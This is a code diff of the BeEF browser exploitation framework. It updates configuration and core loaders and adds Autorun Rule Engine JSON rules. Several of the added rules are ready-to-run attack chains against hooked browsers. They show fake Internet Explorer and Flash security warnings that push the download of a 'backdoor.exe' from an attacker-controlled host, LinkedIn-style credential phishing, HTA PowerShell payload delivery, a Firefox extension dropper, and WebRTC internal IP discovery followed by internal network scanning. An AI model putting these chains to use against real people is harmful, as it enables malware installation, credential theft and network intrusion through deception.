delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
printf '.'
|
||||
sleep (i) # increase the . display rate
|
||||
@@ -76,10 +110,10 @@ end
|
||||
@beef_process_id = nil;
|
||||
|
||||
task :beef_start => 'beef' do
|
||||
printf "Starting BeEF (wait 10 seconds)..."
|
||||
printf "Starting BeEF (wait a few seconds)..."
|
||||
@beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
delays = [10, 10, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
|
||||
delays.each do |i| # delay for a few seconds
|
||||
printf '.'
|
||||
sleep (i)
|
||||
end
|
||||
@@ -99,7 +133,7 @@ end
|
||||
task :msf_start => '/tmp/msf-test/msfconsole' do
|
||||
printf "Starting MSF (wait 45 seconds)..."
|
||||
@msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+")
|
||||
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 45 seconds
|
||||
printf '.'
|
||||
sleep (i) # increase the . display rate
|
||||
@@ -116,7 +150,7 @@ task :msf_install => '/tmp/msf-test/msfconsole' do
|
||||
# Handled by the 'test/msf-test/msfconsole' task.
|
||||
end
|
||||
|
||||
task :msf_update => '/tmp/msf-test/msfconsole' do
|
||||
task :msf_update => '/tmp/msf-test/msfconsole' do
|
||||
sh "cd /tmp/msf-test;git pull"
|
||||
end
|
||||
|
||||
@@ -159,10 +193,10 @@ task :cde do
|
||||
Rake::Task['cde_beef_start'].invoke
|
||||
Rake::Task['beef_stop'].invoke
|
||||
puts "\nCleaning Up...\n";
|
||||
sleep (2);
|
||||
sleep (2);
|
||||
sh "rm -rf CDE";
|
||||
puts "\nCDE Package Created...\n";
|
||||
end
|
||||
end
|
||||
|
||||
################################
|
||||
# CDE/BeEF environment set up
|
||||
@@ -172,7 +206,7 @@ task :cde do
|
||||
task :cde_beef_start => 'beef' do
|
||||
printf "Starting CDE BeEF (wait 10 seconds)..."
|
||||
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
printf '.'
|
||||
sleep (i)
|
||||
|
||||
4
VERSION
4
VERSION
@@ -1,7 +1,7 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
0.4.3.9-alpha
|
||||
0.4.6.1-alpha
|
||||
|
||||
35
arerules/c_osx_test-return-mods.json
Normal file
35
arerules/c_osx_test-return-mods.json
Normal file
@@ -0,0 +1,35 @@
|
||||
{
|
||||
"name": "Test return debug stuff",
|
||||
"author": "antisnatchor",
|
||||
"browser": "S",
|
||||
"browser_version": ">= 7",
|
||||
"os": "OSX",
|
||||
"os_version": "<= 10.10",
|
||||
"modules": [{
|
||||
"name": "test_return_ascii_chars",
|
||||
"condition": null,
|
||||
"options": {}
|
||||
}, {
|
||||
"name": "test_return_long_string",
|
||||
"condition": "status==1",
|
||||
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
|
||||
"options": {
|
||||
"repeat": "10",
|
||||
"repeat_string": "<<mod_input>>"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "alert_dialog",
|
||||
"condition": "status=1",
|
||||
"code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
|
||||
"options":{"text":"<<mod_input>>"}
|
||||
},
|
||||
{
|
||||
"name": "get_page_html",
|
||||
"condition": null,
|
||||
"options": {}
|
||||
}],
|
||||
"execution_order": [0, 1, 2, 3],
|
||||
"execution_delay": [0, 0, 0, 0],
|
||||
"chain_mode": "nested-forward"
|
||||
}
|
||||
2
arerules/enabled/README
Normal file
2
arerules/enabled/README
Normal file
@@ -0,0 +1,2 @@
|
||||
Move here the ARE rule files that you want to pre-load when BeEF starts.
|
||||
Make sure they are .json files (any other file extension is ignored).
|
||||
20
arerules/ff_osx_extension-dropper.json
Normal file
20
arerules/ff_osx_extension-dropper.json
Normal file
@@ -0,0 +1,20 @@
|
||||
{
|
||||
"name": "Firefox Extension Dropper",
|
||||
"author": "antisnatchor",
|
||||
"browser": "FF",
|
||||
"browser_version": "ALL",
|
||||
"os": "OSX",
|
||||
"os_version": ">= 10.8",
|
||||
"modules": [{
|
||||
"name": "firefox_extension_dropper",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"extension_name": "Ummeneske",
|
||||
"xpi_name": "Ummeneske",
|
||||
"base_host": "http://172.16.45.1:3000"
|
||||
}
|
||||
}],
|
||||
"execution_order": [0],
|
||||
"execution_delay": [0],
|
||||
"chain_mode": "sequential"
|
||||
}
|
||||
28
arerules/ff_tux_webrtc-internalip.json
Normal file
28
arerules/ff_tux_webrtc-internalip.json
Normal file
@@ -0,0 +1,28 @@
|
||||
{"name": "Get Internal IP (WebRTC)",
|
||||
"author": "antisnatchor",
|
||||
"browser": "FF",
|
||||
"browser_version": ">= 31",
|
||||
"os": "Linux",
|
||||
"os_version": "ALL",
|
||||
"modules": [
|
||||
{"name": "get_internal_ip_webrtc",
|
||||
"condition": null,
|
||||
"code": null,
|
||||
"options": {}
|
||||
},
|
||||
{"name": "internal_network_fingerprinting",
|
||||
"condition": "status==1",
|
||||
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;",
|
||||
"options": {
|
||||
"ipRange":"<<mod_input>>",
|
||||
"ports":"80",
|
||||
"threads":"5",
|
||||
"wait":"2",
|
||||
"timeout":"10"
|
||||
}
|
||||
}
|
||||
],
|
||||
"execution_order": [0,1],
|
||||
"execution_delay": [0, 0],
|
||||
"chain_mode": "nested-forward"
|
||||
}
|
||||
31
arerules/ie_win_fakenotification-clippy.json
Normal file
31
arerules/ie_win_fakenotification-clippy.json
Normal file
@@ -0,0 +1,31 @@
|
||||
{
|
||||
"name": "Ie Fake Notification + Clippy",
|
||||
"author": "antisnatchor",
|
||||
"browser": "IE",
|
||||
"browser_version": "== 11",
|
||||
"os": "Windows",
|
||||
"os_version": ">= 7",
|
||||
"modules": [
|
||||
{
|
||||
"name": "fake_notification_ie",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
|
||||
}
|
||||
}
|
||||
,{
|
||||
"name": "clippy",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"clippydir": "http://172.16.45.1:3000/clippy/",
|
||||
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
|
||||
"executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
|
||||
"respawntime":"5000",
|
||||
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
|
||||
}
|
||||
}
|
||||
],
|
||||
"execution_order": [0,1],
|
||||
"execution_delay": [0,2000],
|
||||
"chain_mode": "sequential"
|
||||
}
|
||||
27
arerules/ie_win_htapowershell.json
Normal file
27
arerules/ie_win_htapowershell.json
Normal file
@@ -0,0 +1,27 @@
|
||||
{
|
||||
"name": "HTA PowerShell",
|
||||
"author": "antisnatchor",
|
||||
"browser": "IE",
|
||||
"browser_version": "ALL",
|
||||
"os": "Windows",
|
||||
"os_version": ">= 7",
|
||||
"modules": [
|
||||
{
|
||||
"name": "fake_notification_ie",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "hta_powershell",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"domain":"http://172.16.45.1:3000",
|
||||
"ps_url":"/ps"
|
||||
}
|
||||
}],
|
||||
"execution_order": [0,1],
|
||||
"execution_delay": [0,500],
|
||||
"chain_mode": "sequential"
|
||||
}
|
||||
27
arerules/ie_win_missingflash-prettytheft.json
Normal file
27
arerules/ie_win_missingflash-prettytheft.json
Normal file
@@ -0,0 +1,27 @@
|
||||
{
|
||||
"name": "Fake missing plugin + Pretty Theft LinkedIn",
|
||||
"author": "antisnatchor",
|
||||
"browser": "IE",
|
||||
"browser_version": ">= 8",
|
||||
"os": "Windows",
|
||||
"os_version": "== XP",
|
||||
"modules": [{
|
||||
"name": "fake_notification_c",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"url": "http://172.16.45.1:3000/updates/backdoor.exe",
|
||||
"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
|
||||
}
|
||||
}, {
|
||||
"name": "pretty_theft",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"choice": "Windows",
|
||||
"backing": "Grey",
|
||||
"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
|
||||
}
|
||||
}],
|
||||
"execution_order": [0, 1],
|
||||
"execution_delay": [0, 5000],
|
||||
"chain_mode": "sequential"
|
||||
}
|
||||
35
arerules/ie_win_test-return-mods.json
Normal file
35
arerules/ie_win_test-return-mods.json
Normal file
@@ -0,0 +1,35 @@
|
||||
{
|
||||
"name": "Test return debug stuff",
|
||||
"author": "antisnatchor",
|
||||
"browser": "IE",
|
||||
"browser_version": "<= 8",
|
||||
"os": "Windows",
|
||||
"os_version": ">= XP",
|
||||
"modules": [{
|
||||
"name": "test_return_ascii_chars",
|
||||
"condition": null,
|
||||
"options": {}
|
||||
}, {
|
||||
"name": "test_return_long_string",
|
||||
"condition": "status==1",
|
||||
"code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
|
||||
"options": {
|
||||
"repeat": "10",
|
||||
"repeat_string": "<<mod_input>>"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "alert_dialog",
|
||||
"condition": "status=1",
|
||||
"code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
|
||||
"options":{"text":"<<mod_input>>"}
|
||||
},
|
||||
{
|
||||
"name": "get_page_html",
|
||||
"condition": null,
|
||||
"options": {}
|
||||
}],
|
||||
"execution_order": [0, 1, 2, 3],
|
||||
"execution_delay": [0, 0, 0, 0],
|
||||
"chain_mode": "nested-forward"
|
||||
}
|
||||
21
beef
21
beef
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -35,7 +35,7 @@ require 'core/loader'
|
||||
if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
|
||||
config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
|
||||
else
|
||||
config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
|
||||
config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
|
||||
end
|
||||
|
||||
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
|
||||
@@ -58,6 +58,11 @@ unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
|
||||
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
|
||||
end
|
||||
|
||||
# @note Check if interactive was specified from the command line, therefore override the extension to enable
|
||||
if BeEF::Core::Console::CommandLine.parse[:interactive] == true
|
||||
config.set('beef.extension.console.shell.enable',true)
|
||||
end
|
||||
|
||||
# @note Prints BeEF welcome message
|
||||
BeEF::Core::Console::Banners.print_welcome_msg
|
||||
|
||||
@@ -75,6 +80,7 @@ case config.get("beef.database.driver")
|
||||
DataMapper.setup(:default,
|
||||
:adapter => config.get("beef.database.driver"),
|
||||
:host => config.get("beef.database.db_host"),
|
||||
:port => config.get("beef.database.db_port"),
|
||||
:username => config.get("beef.database.db_user"),
|
||||
:password => config.get("beef.database.db_passwd"),
|
||||
:database => config.get("beef.database.db_name"),
|
||||
@@ -124,12 +130,21 @@ end
|
||||
# @note Call the API method 'pre_http_start'
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
|
||||
|
||||
# Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
|
||||
BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
|
||||
|
||||
# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not
|
||||
if config.get("beef.extension.console.shell.enable") == true
|
||||
require 'extensions/console/shell'
|
||||
puts ""
|
||||
begin
|
||||
FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
|
||||
log_dir = File.expand_path(config.get("beef.extension.console.shell.historyfolder"))
|
||||
FileUtils.mkdir_p(log_dir) unless File.directory?(log_dir)
|
||||
rescue => e
|
||||
print_error "Could not create log directory for shell history '#{log_dir}': #{e.message}"
|
||||
exit 1
|
||||
end
|
||||
begin
|
||||
BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
|
||||
BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run
|
||||
rescue Interrupt
|
||||
|
||||
123
config.yaml
123
config.yaml
@@ -1,56 +1,85 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.3.9-alpha'
|
||||
version: '0.4.6.1-alpha'
|
||||
# More verbose messages (server-side)
|
||||
debug: false
|
||||
# More verbose messages (client-side)
|
||||
client_debug: false
|
||||
# Used for generating secure tokens
|
||||
crypto_default_value_length: 80
|
||||
|
||||
# Interface / IP restrictions
|
||||
restrictions:
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
# subnet of IP addresses that can hook to the framework
|
||||
permitted_hooking_subnet: "0.0.0.0/0"
|
||||
# subnet of browser ip addresses that can connect to the UI
|
||||
# permitted_ui_subnet: "127.0.0.1/32"
|
||||
# subnet of IP addresses that can connect to the admin UI
|
||||
#permitted_ui_subnet: "127.0.0.1/32"
|
||||
permitted_ui_subnet: "0.0.0.0/0"
|
||||
|
||||
# HTTP server
|
||||
http:
|
||||
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
|
||||
host: "0.0.0.0"
|
||||
port: "3000"
|
||||
# Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
|
||||
# It's not advised to decrease it with tons of hooked browsers (more than 50),
|
||||
# because it might impact performance. Also, enable WebSockets is generally better.
|
||||
xhr_poll_timeout: 5000
|
||||
# if running behind a nat set the public ip address here
|
||||
#public: ""
|
||||
#public_port: "" # port setting is experimental
|
||||
dns: "localhost"
|
||||
panel_path: "/ui/panel"
|
||||
|
||||
# Decrease this setting to 1,000 (ms) if you want more responsiveness
|
||||
# when sending modules and retrieving results.
|
||||
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
|
||||
# when hooking lots of browsers (50+).
|
||||
# Enabling WebSockets is generally better (beef.websocket.enable)
|
||||
xhr_poll_timeout: 1000
|
||||
|
||||
# Reverse Proxy / NAT
|
||||
# If BeEF is running behind a reverse proxy or NAT
|
||||
# set the public hostname and port here
|
||||
#public: "" # public hostname/IP address
|
||||
#public_port: "" # experimental
|
||||
|
||||
# DNS
|
||||
dns_host: "localhost"
|
||||
dns_port: 53
|
||||
|
||||
# Web Admin user interface URI
|
||||
web_ui_basepath: "/ui"
|
||||
|
||||
# Hook
|
||||
hook_file: "/hook.js"
|
||||
hook_session_name: "BEEFHOOK"
|
||||
session_cookie_name: "BEEFSESSION"
|
||||
|
||||
# Allow one or multiple origins to access the RESTful API using CORS
|
||||
# For multiple origins use: "http://browserhacker.com, http://domain2.com"
|
||||
restful_api:
|
||||
allow_cors: false
|
||||
cors_allowed_domains: "http://browserhacker.com"
|
||||
|
||||
# Prefer WebSockets over XHR-polling when possible.
|
||||
websocket:
|
||||
enable: false
|
||||
secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
|
||||
port: 61985 # WS: good success rate through proxies
|
||||
secure_port: 61986 # WSSecure
|
||||
ws_poll_timeout: 1000 # poll BeEF every second
|
||||
enable: false
|
||||
port: 61985 # WS: good success rate through proxies
|
||||
# Use encrypted 'WebSocketSecure'
|
||||
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
|
||||
secure: true
|
||||
secure_port: 61986 # WSSecure
|
||||
ws_poll_timeout: 1000 # poll BeEF every second
|
||||
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
web_server_imitation:
|
||||
enable: false
|
||||
type: "apache" #supported: apache, iis
|
||||
|
||||
enable: true
|
||||
type: "apache" # Supported: apache, iis, nginx
|
||||
hook_404: false # inject BeEF hook in HTTP 404 responses
|
||||
hook_root: false # inject BeEF hook in the server home page
|
||||
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
|
||||
https:
|
||||
enable: false
|
||||
# In production environments, be sure to use a valid certificate signed for the value
|
||||
# used in beef.http.dns (the domain name of the server where you run BeEF)
|
||||
# used in beef.http.dns_host (the domain name of the server where you run BeEF)
|
||||
key: "beef_key.pem"
|
||||
cert: "beef_cert.pem"
|
||||
|
||||
@@ -72,24 +101,48 @@ beef:
|
||||
|
||||
# db connection information is only used for mysql/postgres
|
||||
db_host: "localhost"
|
||||
db_port: 3306
|
||||
db_name: "beef"
|
||||
db_user: "beef"
|
||||
db_passwd: "beef123"
|
||||
db_passwd: "beef"
|
||||
db_encoding: "UTF-8"
|
||||
|
||||
# Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
|
||||
# Credentials to authenticate in BeEF.
|
||||
# Used by both the RESTful API and the Admin_UI extension
|
||||
credentials:
|
||||
user: "beef"
|
||||
passwd: "beef"
|
||||
|
||||
# Autorun modules as soon the browser is hooked.
|
||||
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
|
||||
# Autorun Rule Engine
|
||||
autorun:
|
||||
enable: true
|
||||
# set this to FALSE if you don't want to allow auto-run execution for modules with target->user_notify
|
||||
allow_user_notify: true
|
||||
# this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
|
||||
# to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
|
||||
# continue execution regardless of results.
|
||||
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
|
||||
result_poll_interval: 300
|
||||
result_poll_timeout: 5000
|
||||
|
||||
crypto_default_value_length: 80
|
||||
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
|
||||
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
|
||||
continue_after_timeout: true
|
||||
|
||||
# Enables DNS lookups on zombie IP addresses
|
||||
dns_hostname_lookup: false
|
||||
|
||||
# IP Geolocation
|
||||
# NOTE: requires MaxMind database:
|
||||
# curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
|
||||
# gunzip GeoLiteCity.dat.gz && mkdir /opt/GeoIP && mv GeoLiteCity.dat /opt/GeoIP
|
||||
geoip:
|
||||
enable: false
|
||||
database: '/opt/GeoIP/GeoLiteCity.dat'
|
||||
|
||||
# Integration with PhishingFrenzy
|
||||
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
|
||||
# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
|
||||
integration:
|
||||
phishing_frenzy:
|
||||
enable: false
|
||||
|
||||
# You may override default extension configuration parameters here
|
||||
extension:
|
||||
@@ -97,6 +150,8 @@ beef:
|
||||
enable: true
|
||||
proxy:
|
||||
enable: true
|
||||
key: "beef_key.pem"
|
||||
cert: "beef_cert.pem"
|
||||
metasploit:
|
||||
enable: false
|
||||
social_engineering:
|
||||
@@ -108,3 +163,9 @@ beef:
|
||||
enable: false
|
||||
ipec:
|
||||
enable: true
|
||||
# this is still experimental..
|
||||
dns:
|
||||
enable: true
|
||||
# this is still experimental..
|
||||
dns_rebinding:
|
||||
enable: false
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -155,7 +155,7 @@ module BeEF
|
||||
if not result == nil
|
||||
data << {:api_id => mod[:id], :data => result}
|
||||
end
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
print_error "API Fire Error: #{e.message} in #{mod.to_s}.#{method.to_s}()"
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -24,12 +24,21 @@ require 'core/main/handlers/browserdetails'
|
||||
|
||||
# @note Include the network stack
|
||||
require 'core/main/network_stack/handlers/dynamicreconstruction'
|
||||
require 'core/main/network_stack/handlers/redirector'
|
||||
require 'core/main/network_stack/handlers/raw'
|
||||
require 'core/main/network_stack/assethandler'
|
||||
require 'core/main/network_stack/api'
|
||||
|
||||
# @note Include the distributed engine
|
||||
require 'core/main/distributed_engine/models/rules'
|
||||
|
||||
# @note Include the autorun engine
|
||||
require 'core/main/autorun_engine/models/rule'
|
||||
require 'core/main/autorun_engine/models/execution'
|
||||
require 'core/main/autorun_engine/parser'
|
||||
require 'core/main/autorun_engine/engine'
|
||||
require 'core/main/autorun_engine/rule_loader'
|
||||
|
||||
## @note Include helpers
|
||||
require 'core/module'
|
||||
require 'core/modules'
|
||||
@@ -43,6 +52,8 @@ require 'core/main/rest/handlers/modules'
|
||||
require 'core/main/rest/handlers/categories'
|
||||
require 'core/main/rest/handlers/logs'
|
||||
require 'core/main/rest/handlers/admin'
|
||||
require 'core/main/rest/handlers/server'
|
||||
require 'core/main/rest/handlers/autorun_engine'
|
||||
require 'core/main/rest/api'
|
||||
|
||||
## @note Include Websocket
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -37,4 +37,7 @@ require 'core/main/migration'
|
||||
require 'core/main/console/commandline'
|
||||
require 'core/main/console/banners'
|
||||
|
||||
# @note Include rubyzip lib
|
||||
require 'zip'
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
|
||||
# Check if the string is not empty and not nil
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether the string is not empty
|
||||
@@ -22,18 +22,18 @@ module Filters
|
||||
# @return [Boolean] Whether or not the only characters in str are specified in chars
|
||||
def self.only?(chars, str)
|
||||
regex = Regexp.new('[^' + chars + ']')
|
||||
regex.match(str).nil?
|
||||
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
|
||||
# Check if one or more characters in 'chars' are in 'str'
|
||||
# @param [String] chars List of characters to match
